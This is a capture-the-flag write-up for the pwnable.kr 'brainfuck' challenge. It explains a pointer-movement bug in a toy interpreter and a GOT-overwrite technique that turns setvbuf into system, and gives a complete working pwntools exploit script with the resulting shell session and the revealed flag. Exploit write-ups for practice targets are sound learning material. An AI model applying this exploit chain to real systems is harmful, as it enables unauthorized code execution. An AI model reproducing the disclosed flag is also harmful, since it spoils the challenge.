Challenge Description
We get the following hint:
I made a simple brain-fuck language emulation program written in C.
The [ ] commands are not implemented yet. However the rest functionality seems working fine.
Find a bug and exploit it to get a shell.
ssh brainfuck@pwnable.kr -p2222 (pw: guest)
Let's connect:
ssh brainfuck@pwnable.kr -p2222
In the home directory we see:
brainfuck libc-2.23.so readme
The readme tells us to connect on port 9032. We have the binary, a libc, and a flag.
Understanding the Binary
I decompiled the binary with Ghidra and got the two main functions: main() and do_brainfuck().
undefined4 main(void)
{
// ...
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
p = tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(input_buf,0,0x400);
fgets(input_buf,0x400,stdin);
idx = 0;
while( true ) {
len_of_input = strlen(input_buf);
if (len_of_input <= idx) break;
do_brainfuck((int)input_buf[idx]);
idx = idx + 1;
}
// stack canary check...
return 0;
}
void do_brainfuck(int brainfuck_char)
{
int input_char;
char *char_from_p;
char_from_p = p;
switch((char)brainfuck_char) {
case '+':
*p = *p + '\x01';
break;
case ',':
input_char = getchar();
*char_from_p = (char)input_char;
break;
case '-':
*p = *p + -1;
break;
case '.':
putchar((int)*p);
break;
case '<':
p = p + -1;
break;
case '>':
p = p + 1;
break;
case '[':
puts("[ and ] not supported.");
}
return;
}
The interpreter uses a global pointer p initialized to tape, a fixed address in the data segment at 0x804a0a0. The < and > commands move the pointer back and forth, , lets us write a byte from stdin to wherever the pointer is, . prints the byte at the pointer, and +/- increment and decrement the byte there.
So we can navigate around memory, read values, and write values. Very interesting.
Running checksec --file=./brainfuck:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Partial RELRO means the GOT is still writable (as opposed to full RELRO). It does move the GOT above the program's variables so you can't overflow into it, but that doesn't prevent us from overwriting entries directly since it's writable, which is exactly what < and , give us.
Using < to go back in memory addresses, we can move above the location of the start of the tape (0x804a0a0) and get to the GOT which happens to live there.
Memory Layout
The tape sits in the data segment at 0x804a0a0, and the GOT entries are just above it:
[0x804a00c] getchar@GLIBC_2.0 -> 0x8048446 (getchar@plt+6)
[0x804a010] fgets@GLIBC_2.0 -> 0x8048456 (fgets@plt+6)
[0x804a018] puts@GLIBC_2.0 -> 0x8048476 (puts@plt+6)
[0x804a020] strlen@GLIBC_2.0 -> 0x8048496 (strlen@plt+6)
[0x804a028] setvbuf@GLIBC_2.0 -> 0x80484b6 (setvbuf@plt+6)
[0x804a02c] memset@GLIBC_2.0 -> 0x80484c6 (memset@plt+6)
...
[0x804a060] stdout
...
[0x804a0a0] tape ← p starts here
By moving the pointer left with <, we can reach any GOT entry. The distance from the tape to the GOT is around 100-150 bytes, and the input size is limited to 1024, so we have plenty of place. With . we can leak resolved libc addresses, and with , or +/- we can overwrite them.
First Attempt: Overwrite putchar with system
My first idea was to leak a libc address from putchar's GOT entry, calculate system's address, and write it back. Then when . is called, it would call system instead of putchar.
The leak worked: move the pointer to putchar's GOT, use . to print each byte, calculate the libc base. But the problem was the argument. putchar receives a single byte value (the tape cell), not a pointer. So system would get called with something like system(0x62) and it would try to read a command from address 0x62 and crash.
Second Attempt: Overwrite getchar with system
Next I tried overwriting getchar's GOT instead, hoping its argument would be more useful. I noticed that somehow in GDB in each run there was always the same value in the stack right when the function is called, and this value is controlled by me (by inputting the brainfuck string). And I could use any chars, not just the brainfuck charset. I used +/- to apply the fixed delta between getchar and system within the same libc (so ASLR doesn't matter).
The delta byte-by-byte (from libc-2.23.so):
getchar: 0x00065b50
system: 0x0003adb0
byte 0: 0x50 → 0xb0, "+" × 96
byte 1: 0x5b → 0xad, "+" × 82
byte 2: 0x06 → 0x03, "-" × 3
byte 3: no change
I put /bin/sh;# in the brainfuck code itself at a specific offset so it would land on the stack where system's argument pointed. The ;# was needed because the brainfuck code after it (<<<+++ etc.) would be interpreted by the shell, ; ends the command and # comments out the rest.
This worked locally with ASLR off! But remotely, the stack layout was different (different environment variables shift the stack), so the pointer didn't land on my string. The argument was consistently garbage: sh: 1: \x81\xc6\x15X\x01: not found. I tried brute-forcing the offset but couldn't solve it this way.
The Solution: GOT Chaining
The key idea was to stop relying on the stack and instead chain function calls using only GOT entries and fixed binary addresses (no PIE means these never change).
The trick is to make the program call system with a pointer to a string we control, using only things at known addresses. Here's how:
First, I write /bin/sh to the tape (0x804a0a0) using the , operator. The tape is at a fixed address, so now we have our command string at a known location.
Then I overwrite three GOT entries:
stdout→0x804a0a0(the tape, where/bin/shlives)putchar→0x08048671(the address ofmain)setvbuf→system(using+/-deltas from the resolved address)
Finally, I trigger ., which calls putchar. But putchar now points to main, so the program restarts. The first thing main does is call setvbuf(stdout, ...). Since we overwrote setvbuf to point to system and stdout to point to the tape, this becomes system(0x804a0a0), which executes /bin/sh. Shell!
Everything here is at a fixed address, stack is not involved at all.
Why +/- instead of stdin (",") for setvbuf
For stdout and putchar, I used , to write exact values byte by byte from stdin. But for setvbuf I used +/- because the delta between setvbuf and system is constant within the same libc, regardless of ASLR. The resolved setvbuf address changes each run, but setvbuf_addr + fixed_delta = system_addr always holds.
Remote deltas (from libc-2.23.so):
setvbuf: 0x00060370
system: 0x0003adb0
byte 0: 0x70 → 0xb0, + × 64
byte 1: 0x03 → 0xad, - × 86
byte 2: 0x06 → 0x03, - × 3
byte 3: no change
Navigation Distances
After writing the command (7 bytes for /bin/sh), the pointer is at tape+6. From there:
tape+6 → stdout (0x804a060): 70 left
stdout+3 → putchar (0x804a030): 51 left
putchar+3 → setvbuf (0x804a028): 11 left
The Exploit
from pwn import *
tape = 0x804a0a0
stdout = 0x804a060
putchar = 0x804a030
setvbuf = 0x804a028
main = 0x08048671
libc = ELF('./libc-2.23.so')
def delta(src, dst):
bf = b''
for i in range(4):
d = ((dst >> i*8) - (src >> i*8)) % 256
bf += b'+' * d if d <= 128 else b'-' * (256 - d)
if i < 3: bf += b'>'
return bf
def goto(fr, to):
return b'<' * (fr - to)
def write4():
return b',>,>,>,'
cmd = b'/bin/sh'
bf = b',>' * (len(cmd)-1) + b',.' # write cmd to tape. "." to resolve putchar's GOT entry.
bf += goto(tape+len(cmd)-1, stdout) + write4() # stdout → tape
bf += goto(stdout+3, putchar) + write4() # putchar → main
bf += goto(putchar+3, setvbuf) # go to setvbuf
bf += delta(libc.sym['setvbuf'], libc.sym['system']) # setvbuf → system
bf += b'.' # trigger chain
data = cmd + p32(tape) + p32(main)
p = remote('pwnable.kr', 9001)
p.recvuntil(b'type some brainfuck instructions except [ ]\n')
p.send(bf + b'\n' + data)
p.interactive()
Running python3 exploit.py:
[+] Opening connection to pwnable.kr on port 9001: Done
[*] Switching to interactive mode
$ ls
brainfuck_pwn
$ cd brainfuck_pwn
$ cat flag
bR41n_F4ck_Is_FuN_LanguaG3
Bazinga :)